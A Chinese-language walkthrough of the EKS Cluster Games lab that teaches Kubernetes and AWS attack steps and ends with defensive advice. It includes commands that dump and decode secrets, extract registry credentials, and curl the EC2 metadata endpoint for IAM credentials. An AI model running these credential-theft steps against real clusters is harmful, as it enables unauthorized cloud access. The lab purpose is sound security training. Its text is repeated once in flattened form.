从0到1学习eks安全
字数 1308 2025-08-29 08:30:24

从0到1学习EKS安全实战指南

前言

本教程基于EKS Cluster Games靶场(https://eksclustergames.com/)进行实战演练,详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践,您将掌握Kubernetes集群安全审计的核心技能。

基础概念

Kubernetes Secret

Secret是Kubernetes中用于存储敏感数据的对象类型,如密码、Token或密钥。与ConfigMap类似,但专门设计用于机密数据。

特点

  • 独立于Pod创建,降低敏感数据暴露风险
  • Kubernetes会采取额外保护措施,如避免写入非易失性存储
  • 需要特定权限才能访问

kubectl基础

kubectl是Kubernetes集群管理命令行工具,核心命令包括:

kubectl get <resource>    # 获取资源
kubectl auth can-i        # 权限检查
kubectl describe          # 查看资源详情

实战演练

挑战1: Secret Seeker

目标:列出集群中的所有Secret并找到flag

步骤

  1. 检查当前权限:
kubectl auth can-i --list
  1. 查看Secret权限:
  • get: 读取特定Secret
  • list: 列出所有Secrets
  • watch: 监听Secret变化
  • create/update/patch/delete: 创建/更新/删除Secret
  1. 列出所有Secret:
kubectl get secrets -o yaml
  1. 解码Base64内容获取flag

挑战2: Registry Hunt

目标:检查容器注册表获取敏感信息

权限检查

kubectl auth can-i --list

get与list权限区别

权限 作用 示例
get 查看特定资源详细信息,需知道资源名称 kubectl get pod my-pod
list 列出某类资源的所有实例 kubectl get pods

实战步骤

  1. 获取Pod详情:
kubectl get pods -o yaml
  1. 分析关键字段:
  • imagePullSecrets: 指定从私有仓库拉取镜像的凭证Secret
  • containers.image: 使用的容器镜像
  1. 获取Secret内容:
kubectl get secret <secret-name> -o yaml
  1. 解码.dockerconfigjson获取凭证:
echo "<base64-data>" | base64 -d
  1. 使用crane工具登录Docker:
crane auth login -u <username> -p <token> index.docker.io
crane pull <image> output.tar

挑战3: Image Inquisition

目标:深入检查ECR镜像仓库,分析镜像层获取隐藏信息

步骤

  1. 获取Pod使用的ECR镜像信息

  2. 访问EC2元数据服务获取临时凭证:

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
  1. 配置AWS CLI:
export AWS_ACCESS_KEY_ID=<access_key>
export AWS_SECRET_ACCESS_KEY=<secret_key>
export AWS_SESSION_TOKEN=<token>
aws sts get-caller-identity  # 验证凭证
  1. 获取ECR登录密码:
aws ecr get-login-password
  1. 登录ECR并检查镜像:
crane auth login -u AWS -p <password> <account-id>.dkr.ecr.<region>.amazonaws.com
crane pull <image> output.tar
tar -xvf output.tar

安全防护建议

  1. 最小权限原则:严格控制Secret访问权限
  2. 镜像安全
    • 使用私有仓库
    • 定期扫描镜像漏洞
    • 避免在镜像中存储敏感信息
  3. IAM角色管理
    • 限制EC2实例的IAM角色权限
    • 定期轮换凭证
  4. 元数据保护
    • 使用IMDSv2(需要令牌的元数据服务)
    • 限制元数据服务的网络访问

总结

通过本教程,您已掌握:

  1. Kubernetes Secret的安全审计方法
  2. 容器镜像注册表的敏感信息获取技术
  3. AWS ECR和EC2元数据服务的利用方式
  4. 相关安全防护的最佳实践

这些技能对于云安全审计和渗透测试至关重要,建议在实际环境中谨慎使用这些技术,并始终遵循道德准则。

从0到1学习EKS安全实战指南 前言 本教程基于EKS Cluster Games靶场(https://eksclustergames.com/)进行实战演练,详细讲解AWS EKS(Kubernetes)安全相关知识。通过靶场实践,您将掌握Kubernetes集群安全审计的核心技能。 基础概念 Kubernetes Secret Secret是Kubernetes中用于存储敏感数据的对象类型,如密码、Token或密钥。与ConfigMap类似,但专门设计用于机密数据。 特点 : 独立于Pod创建,降低敏感数据暴露风险 Kubernetes会采取额外保护措施,如避免写入非易失性存储 需要特定权限才能访问 kubectl基础 kubectl是Kubernetes集群管理命令行工具,核心命令包括: 实战演练 挑战1: Secret Seeker 目标 :列出集群中的所有Secret并找到flag 步骤 : 检查当前权限: 查看Secret权限: get : 读取特定Secret list : 列出所有Secrets watch : 监听Secret变化 create/update/patch/delete : 创建/更新/删除Secret 列出所有Secret: 解码Base64内容获取flag 挑战2: Registry Hunt 目标 :检查容器注册表获取敏感信息 权限检查 : get与list权限区别 : | 权限 | 作用 | 示例 | |------|------|------| | get | 查看特定资源详细信息,需知道资源名称 | kubectl get pod my-pod | | list | 列出某类资源的所有实例 | kubectl get pods | 实战步骤 : 获取Pod详情: 分析关键字段: imagePullSecrets : 指定从私有仓库拉取镜像的凭证Secret containers.image : 使用的容器镜像 获取Secret内容: 解码 .dockerconfigjson 获取凭证: 使用crane工具登录Docker: 挑战3: Image Inquisition 目标 :深入检查ECR镜像仓库,分析镜像层获取隐藏信息 步骤 : 获取Pod使用的ECR镜像信息 访问EC2元数据服务获取临时凭证: 配置AWS CLI: 获取ECR登录密码: 登录ECR并检查镜像: 安全防护建议 最小权限原则 :严格控制Secret访问权限 镜像安全 : 使用私有仓库 定期扫描镜像漏洞 避免在镜像中存储敏感信息 IAM角色管理 : 限制EC2实例的IAM角色权限 定期轮换凭证 元数据保护 : 使用IMDSv2(需要令牌的元数据服务) 限制元数据服务的网络访问 总结 通过本教程,您已掌握: Kubernetes Secret的安全审计方法 容器镜像注册表的敏感信息获取技术 AWS ECR和EC2元数据服务的利用方式 相关安全防护的最佳实践 这些技能对于云安全审计和渗透测试至关重要,建议在实际环境中谨慎使用这些技术,并始终遵循道德准则。